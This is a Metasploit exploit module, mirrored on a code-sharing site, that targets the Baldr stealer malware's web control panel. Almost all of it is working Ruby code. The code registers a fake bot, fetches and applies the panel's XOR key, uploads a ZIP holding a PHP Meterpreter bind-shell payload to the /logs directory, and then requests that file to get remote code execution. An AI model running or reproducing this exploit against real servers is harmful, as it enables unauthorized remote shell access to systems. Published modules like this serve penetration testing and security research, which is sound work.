CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/http/baldr_upload_exec.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
include Msf::Exploit::FileDropper
9
include Msf::Exploit::Remote::HttpClient
10
prepend Msf::Exploit::Remote::AutoCheck
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Baldr Botnet Panel Shell Upload Exploit',
17
'Description' => %q{
18
This module exploits an arbitrary file upload vulnerability within the Baldr
19
stealer malware control panel when uploading victim log files (which are uploaded
20
as ZIP files). Attackers can turn this vulnerability into an RCE by first
21
registering a new bot to the panel and then uploading a ZIP file containing
22
malicious PHP, which will then uploaded to a publicly accessible
23
directory underneath the /logs web directory.
24
25
Note that on versions 3.0 and 3.1 the ZIP files containing the victim log files
26
are encoded by XORing them with a random 4 byte key. This exploit module gets around
27
this restriction by retrieving the IP specific XOR key from panel gate before
28
uploading the malicious ZIP file.
29
},
30
'License' => MSF_LICENSE,
31
'Author' => [
32
'Ege Balcı <[email protected]>' # author & msf module
33
],
34
'References' => [
35
['URL', 'https://krabsonsecurity.com/2019/06/04/taking-a-look-at-baldr-stealer/'],
36
['URL', 'https://blog.malwarebytes.com/threat-analysis/2019/04/say-hello-baldr-new-stealer-market/'],
37
['URL', 'https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/baldr-vs-the-world.pdf'],
38
],
39
'DefaultOptions' => {
40
'SSL' => false,
41
'WfsDelay' => 5
42
},
43
'Platform' => [ 'php' ],
44
'Arch' => [ ARCH_PHP ],
45
'Targets' => [
46
[
47
'Auto',
48
{
49
'Platform' => 'PHP',
50
'Arch' => ARCH_PHP,
51
'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/bind_tcp' }
52
}
53
],
54
[
55
'<= v2.0',
56
{
57
'Platform' => 'PHP',
58
'Arch' => ARCH_PHP,
59
'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/bind_tcp' }
60
}
61
],
62
[
63
'v2.2',
64
{
65
'Platform' => 'PHP',
66
'Arch' => ARCH_PHP,
67
'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/bind_tcp' }
68
}
69
],
70
[
71
'v3.0 & v3.1',
72
{
73
'Platform' => 'PHP',
74
'Arch' => ARCH_PHP,
75
'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/bind_tcp' }
76
}
77
]
78
],
79
'Privileged' => false,
80
'DisclosureDate' => '2018-12-19',
81
'DefaultTarget' => 0,
82
'Notes' => {
83
'Stability' => [ CRASH_SAFE ],
84
'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS ],
85
'Reliability' => [ REPEATABLE_SESSION ]
86
}
87
)
88
)
89
90
register_options(
91
[
92
OptString.new('TARGETURI', [true, 'The URI of the baldr gate', '/']),
93
]
94
)
95
end
96
97
def check
98
if select_target
99
Exploit::CheckCode::Appears("Baldr Version: #{select_target.name}")
100
else
101
Exploit::CheckCode::Safe
102
end
103
end
104
105
def select_target
106
res = send_request_cgi(
107
'method' => 'GET',
108
'uri' => normalize_uri(target_uri.path, 'gate.php')
109
)
110
if res && res.code == 200
111
if res.body.include?('~;~')
112
targets[3]
113
elsif res.body.include?(';')
114
targets[2]
115
elsif res.body.size < 4
116
targets[1]
117
end
118
end
119
end
120
121
def exploit
122
# Forge the payload
123
name = ".#{Rex::Text.rand_text_alpha(4)}"
124
files =
125
[
126
{ data: payload.encoded, fname: "#{name}.php" }
127
]
128
zip = Msf::Util::EXE.to_zip(files)
129
hwid = Rex::Text.rand_text_alpha(8).upcase
130
131
gate_uri = normalize_uri(target_uri.path, 'gate.php')
132
version = select_target
133
# If not 'Auto' then use the selected version
134
if target != targets[0]
135
version = target
136
end
137
138
gate_res = send_request_cgi({
139
'method' => 'GET',
140
'uri' => gate_uri
141
})
142
os = Rex::Text.rand_text_alpha(8..12)
143
144
case version
145
when targets[3]
146
fail_with(Failure::NotFound, 'Failed to obtain response') unless gate_res
147
unless gate_res.code != 200 || gate_res.body.to_s.include?('~;~')
148
fail_with(Failure::UnexpectedReply, 'Could not obtain gate key')
149
end
150
key = gate_res.body.to_s.split('~;~')[0]
151
print_good("Key: #{key}")
152
153
data = "hwid=#{hwid}&os=#{os}&cookie=0&paswd=0&credit=0&wallet=0&file=1&autofill=0&version=v3.0"
154
data = Rex::Text.xor(key, data)
155
156
res = send_request_cgi({
157
'method' => 'GET',
158
'uri' => gate_uri,
159
'data' => data.to_s
160
})
161
162
fail_with(Failure::UnexpectedReply, 'Could not obtain gate key') unless res && res.code == 200
163
print_good('Bot successfully registered.')
164
165
data = Rex::Text.xor(key, zip.to_s)
166
form = Rex::MIME::Message.new
167
form.add_part(data.to_s, 'application/octet-stream', 'binary', "form-data; name=\"file\"; filename=\"#{hwid}.zip\"")
168
169
res = send_request_cgi({
170
'method' => 'POST',
171
'uri' => gate_uri,
172
'ctype' => "multipart/form-data; boundary=#{form.bound}",
173
'data' => form.to_s
174
})
175
176
if res && res.code == 200
177
print_good("Payload uploaded to /logs/#{hwid}/#{name}.php")
178
register_file_for_cleanup("#{name}.php")
179
else
180
print_error("Server responded with code #{res.code}")
181
fail_with(Failure::UnexpectedReply, 'Failed to upload payload')
182
end
183
when targets[2]
184
fail_with(Failure::NotFound, 'Failed to obtain response') unless gate_res
185
unless gate_res.code != 200 || gate_res.body.to_s.include?('~;~')
186
fail_with(Failure::UnexpectedReply, 'Could not obtain gate key')
187
end
188
189
key = gate_res.body.to_s.split(';')[0]
190
print_good("Key: #{key}")
191
data = "hwid=#{hwid}&os=Windows 7 x64&cookie=0&paswd=0&credit=0&wallet=0&file=1&autofill=0&version=v2.2***"
192
data << zip.to_s
193
result = Rex::Text.xor(key, data)
194
195
res = send_request_cgi({
196
'method' => 'POST',
197
'uri' => gate_uri,
198
'data' => result.to_s
199
})
200
201
unless res && res.code == 200
202
print_error("Server responded with code #{res.code}")
203
fail_with(Failure::UnexpectedReply, 'Failed to upload payload')
204
end
205
206
print_good("Payload uploaded to /logs/#{hwid}/#{name}.php")
207
else
208
res = send_request_cgi({
209
'method' => 'POST',
210
'uri' => gate_uri,
211
'data' => zip.to_s,
212
'encode_params' => true,
213
'vars_get' => {
214
'hwid' => hwid,
215
'os' => os,
216
'cookie' => '0',
217
'pswd' => '0',
218
'credit' => '0',
219
'wallet' => '0',
220
'file' => '1',
221
'autofill' => '0',
222
'version' => 'v2.0'
223
}
224
})
225
226
if res && res.code == 200
227
print_good("Payload uploaded to /logs/#{hwid}/#{name}.php")
228
else
229
print_error("Server responded with code #{res.code}")
230
fail_with(Failure::UnexpectedReply, 'Failed to upload payload')
231
end
232
end
233
234
vprint_status('Triggering payload')
235
send_request_cgi({
236
'method' => 'GET',
237
'uri' => normalize_uri(target_uri.path, 'logs', hwid, "#{name}.php")
238
}, 3)
239
end
240
end
241
242